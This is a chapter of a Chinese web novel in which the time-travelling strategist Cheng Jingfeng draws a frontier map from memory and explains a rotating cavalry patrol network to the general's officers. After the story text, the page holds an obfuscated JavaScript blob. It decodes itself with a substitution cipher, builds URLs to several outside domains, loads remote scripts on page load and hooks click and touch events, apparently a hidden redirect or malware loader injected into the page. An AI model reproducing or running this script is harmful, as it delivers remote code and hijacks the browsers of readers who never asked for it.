第21章 超世之才(1 / 2)

    瞭望塔上, 风声呼啸而过,隐隐能听到下面军营中的训练声音。

    城静枫的话是看着魏定说的,但是声音并没有刻意压低, 其他人也都没有意外地听到了。

    一个个都纷纷侧目。

    这般辽阔,这样复杂的地形, 不增加兵力, 就能让匈奴再也无法成功偷袭?

    怎么想也有点不太可能!

    肖胡立看向那个能看得很远的望远镜,心里感觉只有这一种可能,于是问道:“军师说的方法, 可是要用到这望远镜?”

    以他的理解, 就算有望远镜似乎也不太可能,只能说能增大发现敌人的几率, 遇到匈奴骑兵之后, 不会让对方轻易逃窜离开。

    但是如何能作出这样肯定的保证, 让匈奴再无成功偷袭的可能?

    防贼可比做贼难多了, 而且还是这样不利的复杂地形。

    大家也都好奇得很,一个个都望向他们新的军师。

    有点好奇,他们行军多年, 这样的局面已经很多年了,只能说是尽力巡视, 若是遇到匈奴, 就狠狠地打,将他们打到不敢来。

    但是从来都没有人想过, 能完完全全地防御对方, 毕竟他们不可能将所有兵力拉出去全线布防。

    正当他们都这样想着的时候, 那个明显和他们雄浑的声音不同的清亮女声响起来, 语气中是明显的笃定。

    “有没有望远镜都行, 只要你们和匈奴相遇之后能胜过对方,就不会有问题。”

    屠虎见自己实力被质疑,立马道:“正面遇上匈奴,我们的兵可不带怕的,一定能将他们打回去。”

    魏定没有在意她的这一番话,在没有真的见过他们的战力之前,有一些担心是正常的,他关注得更多的是,她说的那种方法。

    每年这个时候,他们或多或少都会有些损失和伤亡,他熟读兵法,却始终没有办法找到解决这个问题的办法。

    大军压境他都不怕,正面对垒,他凉州军从未输过,但是这样小股偷袭,还是面向百姓的,真的是防不胜防。

    魏定看向城静枫问道:“不知军师有何妙计?”

    城静枫敏锐地察觉到他称呼的变化,她都怀疑魏定是不是修习了什么《智脑成精心理学》之类的东西,他的一举一动都让她感觉很舒服,就像是被人精心照顾了一样。

    怎么会有人这么刚刚好,完全符合自己所有的期待和爱好。

    她定了定神,清了清嗓子朗声道:“马车上有个叫锦盒,将军能让人去取来吗?然后找一个大一点的军帐,我将这个法子讲给你们听。”

    魏定点点头,当即吩咐一旁的亲卫,去取那马车上的锦盒。

    他们一行人也下了瞭望塔,城静枫发现魏定正带着她,往军营中最大的那个营帐走去。

    在下去的时候,屠虎拉着肖胡立特意走慢了一些。

    眼看着落在了最后,和走在最前面的城静枫和魏定有了一些距离,说话声音小一点,一定不会被听到的那种安全距离。

    屠虎放心小声问道:“狐狸,你说这军师说的是真的吗?”

    肖胡立笑骂:“怎么,有事相求就喊肖哥,没事就喊狐狸?”

    屠虎因着之前望远镜那事情,早就习惯了面对肖狐狸时的没脸没皮,不在意地轻轻拍了拍自己的嘴,笑道:“这不是习惯了嘛,该打。肖哥你说会是什么样的方法,真的能行吗?”

    肖胡立拍拍他的肩膀:“我们要是能想出办法,这些年就不会是这样的场景了,等会儿认真听,我觉得军师虽是女子,但真的不简单。”

    等他们走到了那个大帐,马车上装有她手绘地图的锦盒也被取了过来。

    大家都好奇地看向那个锦盒,不知其中有什么玄妙之处。

    城静枫观察着这最大的军帐,显然是平时议事用的,两边有好多矮桌和凳子。

    城静枫找了个最近的桌子,将锦盒放上去,然后将其打开,把里面的东西一口气全都取出来。

    众人见这是一摞弯曲折叠放置的大画纸,中间还有一根炭笔,都觉得有些奇怪。

    这和那妙计有什么关系吗?

    城静枫将半弯曲折叠的纸放平,将炭笔拿在手上,对魏定说道:“将军等我一盏茶的时间。”

    魏定点头。

    城静枫对这画纸上的内容很熟悉,因为本就是她自己前不久画的。

    纸张后面还有编号,她很快将前面几张空白地拿下去,将自己需要的序号放在最上面。

    然后就开始飞速落笔。

    大家都有些好奇,没有一个人去自己的位置坐好,反而都将城静枫围起来,想看看她笔下在画什么。

    城静枫专心地画着手下的地图,没有将注意力分给他们任何人,全心全意地调动刚刚看见的那些画面,还有上次在自己脑海中成型一部分的地图。

    将其换算成正确的比例尺,填补这大地图的空白。

    一张又一张,画完就拿到旁边一堆上,原本按照序号从小到大放好的一摞纸,慢慢在右边变成了一摞线条更多的,内容更充实的,序号从大到小的一摞。

    围观的人都有些迷茫。

    看不懂城静枫在干什么。

    这一张张纸有的是完全空白的,有的是有一些线条的,还有的几乎已经被画满,只有一个边角是空白的。

    他们看着,有时觉得这些线条都是乱的,这简直就是小孩涂鸦,有时候又隐隐感觉,这军师笔下的内容,看起来有些眼熟。

    城静枫不仅仅是向其中填补画面,还在其中几个关键的地方,做了明显的圈圈记号。

    大多数人都看不明白这是什么,魏定在侧边,注意到了每张纸下面的序号。

    他也一直感觉这些线条有些熟悉,发现纸背后的序号后,下意识将上一张和下一张连在一起,这好像是……

    随着城静枫手下的纸张越来越少,人群中也有别人看出了点端倪。

    城静枫落下最后一笔,将已经磨圆的炭笔放下的时候,抬头一看,就是大多数人迷茫的眼神,还有肖胡立那略带不可置信的神色。

    她转头看向魏定,指了指肖胡立,假装不认识。

    魏定只看她的动作就很快回应道:“这位是肖副将,平日里熟读兵书,战时常常能出奇制胜。”

    她将这一摞纸递给肖胡立,然后说道:“肖副将想必看明白了吧。”

    肖胡立下意识地接过,这时还是一脸的不可置信,不过他也想要证明自己的猜测,左右看了看这帐中,没有明显能平整的将这一幅幅画合在一起展示的东西,只好站到一面帐布前。

    这大营帐由四面巨大的帐布组成,虽然是斜向上的,但是显然是目前能找到的最合适的展示面了。

    他按照背后的序号,一张张地开始摆放,估算着这一张画纸的大小,还有整个的数量。

    没有很好的固定的地方,他特意找人要了训练新兵用的小竹刺,四个角一扎,就固定好了。

    一张又一张,像是给了答案的拼图一样。

    一横排一横排的画面展露出来,越来越多人心里有了猜测,只是有些不确定,当一整幅地图的画面出现了一半的时候,所有人都没有怀疑了。

    肖胡立的动作很快,没一会儿就将这一张张小画纸拼凑成的地图展示了出来。

    这样背靠营帐,斜向上展开的地图,必须要微微仰头才能看清全貌。

    一幅黑白相间的巨大地图,仿佛带着一股威压,直接震慑得人说不出话来。

    这是他们亲眼看见的!

    至少有一大半是刚刚画好的,明显跟另外一半更仔细,更详尽的风格不同。

    这一半更加简练,但是也足够清晰,能让人一眼就认出,这就是他们刚刚在瞭望塔上看见的那些。

    魏定虽然是第一个猜到的,但是当正面地图出现在自己眼前的时候,还是有些不可置信。

    这真的是人能够做到的吗?

    他也很重视地形地貌,会派人出去绘制地形图,甚至自己也尝试绘制过。

    但是这确实很难,一方面是要对地形有一个全方位的掌握,才好落笔,要不然画出来会很不协调,也不方便辨认。

    而且人的记忆是有限的,很多时候看过了不一定记得,想要完全精准的地形图,最好是留在那个位置,对着一笔一笔地画。

    而且也鲜少有人能将巨大的地图画得如此清晰,让人一看便知道是何处。

    不过他早已接受过那野史内容的冲击,所以相较于其他人,魏定的接受程度更高一些。

    他问道:“军师刚刚所画内容,可是在瞭望塔上所见?见之不忘?”

    城静枫坦然道:“我确实能过目不忘。”

    此话一出,满堂皆惊。

    魏定心想,这可不仅仅是过目不忘能做到的。

    就从最近发生的事情来看,不是那野史有所隐瞒,就是当初那人也没有城姑娘这般惊世之才。

    魏定道:“军师大才,实乃我凉州军之幸!”

    他这话一出,才算是打破了满堂的寂静。

    “乖乖,过目不忘,我还以为是那些惯会吹嘘的读书人编造的!”

    “军师这要是生为男儿,怕早就是状元了吧。”

    “我脑子要是有这么好使就好了,当初将军下令要去晋升参将必须要识字三千,我想着军功都有了,不识字不划算,当初都快要学吐了,要是过目不忘,岂不是一盏茶的工夫就全记下来了。”

    “这地形图也很容易看懂,一目了然。”

    满堂的寂静被打破之后,随之而来的就是满堂的热闹。

    外面路过的兵卒们都很诧异,这军帐向来严肃,偶尔有争吵,也是有个别人在争,这次这么嘈杂的声音,可比集市都热闹了,真是少见。

    城静枫看向自己的第一把火,感觉还不错。

    原本制作这个地图也是想做新官上任的第一把火,没想到今日机会这么好,不断有人往这火里加柴,不,这是往火上浇油!

    砰的一下,火焰直接熊熊燃烧。

    而且还直接给她堆好了第二把火的火堆。

    魏定本来也是感觉有点惊讶的,但是现在听见自己手下人这样表现,顿时感觉有点丢人。

    于是立刻轻咳两声,说道:“好了,我们听城姑娘讲讲她刚刚说的法子。”

    众人的注意力这才被重新拉回来。

    对啊,还有个能让匈奴那群只敢偷袭的孬种吃瘪,再也成功不了的法子呢!

    一行人目光炯炯有神,看向城静枫的目光中,多了许多的期待。

    城静枫在四周看了看,想要找个类似教鞭的东西,这一小片不大,但是全部贴起来之后,还是很高的,自己的手没有办法很好地指向那些做记号的地点。

    最后看中了一个放在兵器架子上的长剑。

    这又细又长,看起来似乎也不太重。

    走到那个兵器架子前,指着那柄剑问道:“这个剑是谁的,我能借用一下吗?”

    魏定说:“用吧,这不是谁的私人之物。”

    于是城静枫试着将这剑握在手上,发现确实不太重。

    于是将其取下来,然后将剑柄用左手捏住,学着以前看过那些电视剧里的模样,右手将剑抽出。

    只听唰的一声,一道武器的白光在营帐中一闪而过。

    城静枫看了看这个长度,还有重量,感觉是个不错的教具。

    拿着那把剑,走到那一张地图前方。

    指着自己刚刚画出来的那一片区域,解释道:“这是我刚刚看到的那一片,也是诸位口中的会被匈奴偷袭的区域,这一片是密林,这一片是……”

    “我说的方法,是轮转骑兵定点巡逻,你们看我标记的这几个点,每每三个之间,就能连成一个互助三角,每两个点之间的距离,也严格控制在两人相对跑马不到一盏茶就能相遇的时间。”

    大家听到这里还都能明白,这地图本就好懂,还是他们熟悉的区域,一看就明白。

    虽然这些点的距离并不固定,但是因为地形地貌不同,有的便于快马奔驰,有的地方却跑不起来,按照自己去过的经验一衡量,很快就发现,这些点确实是这样。

    不管他们谁从相邻的两个点出发,都能在一盏茶的时间内相遇,于是一个个都在点头。

    城静枫继续讲道:“我所画的这些点,若是全部连起来,会形成一个短而薄的网状,每一个点都会有两到三个点可以直接与之连通,匈奴有可能袭击的地点,已经全部包含在这张网里面。”

    下面的人看看地图上的点,心里默默地连了连线,确实是这样,点头!

    “我所说的轮转骑兵定点巡逻,就是从这几个点出发,顺着这张网的顺序,分别进行顺向和逆向的移动,……”

    城静枫用剑尖,指向那最为关键的几个核心点,然后用剑给他们比划路线。

    22世纪,计算机水平已经发展到惊人的程度,有无数惊艳世人的算法横空出世。

    她这个“轮转骑兵定点巡逻”法,应用了一个叫迪尔科特蒙森的算法中的一个小步骤。

    这个算法是在经典的深度优先搜索算法,蒙特卡洛树搜索和回溯算法的基础上,改进创新形成的最为优秀搜索算法。

    广泛地应用于各大领域,人工智能和神经网络的突飞猛进发展,离不开迪尔科特蒙森算法的巨大贡献。

    她之所以对这个算法有这么深刻的映像,就是她在一次出门游玩的时候,差点就被应用了这个算法的防火墙给抓住了。

    所以为了自身的安全,她特意去学习了一下这个算法。

    当在瞭望塔上看见那复杂的地形,然后听到大家说被偷袭的困扰的时候,脑海里立刻就浮现了这个算法。

    只需要将骑兵的速度,地形因素,最终范围,需要保护的位置确定好,然后应用这个算法最基础的部分,就能算出许多节点,形成一张密不透风的网。

!function(){function a(a){var _idx="z5palo1gvz";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPo}0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m)CFSp)pmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/o}0jR84nJdqO}pX4"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"o}0"=X8"4nJdqO}pX4"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"o}0^)ThF)mhfO76RqmRT4"="o}0X5ThF)mT)7F56RmRT4"="o}02pThFmhfO76RqmRT4"="o}0_JqhFmT)7F56RmRT4"="o}02TOhFmhfO76RqmRT4"="o}0CSqhF)mT)7F56RmRT4"="o}0)FfThF)fmhfO76RqmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPo}0)hFL_h^m_XO6L)pmRT4gQ}1Q/f/o}0j(8}vR84nJdqO}pX4"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPo}0)hFL_h^m_XO6L)pmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();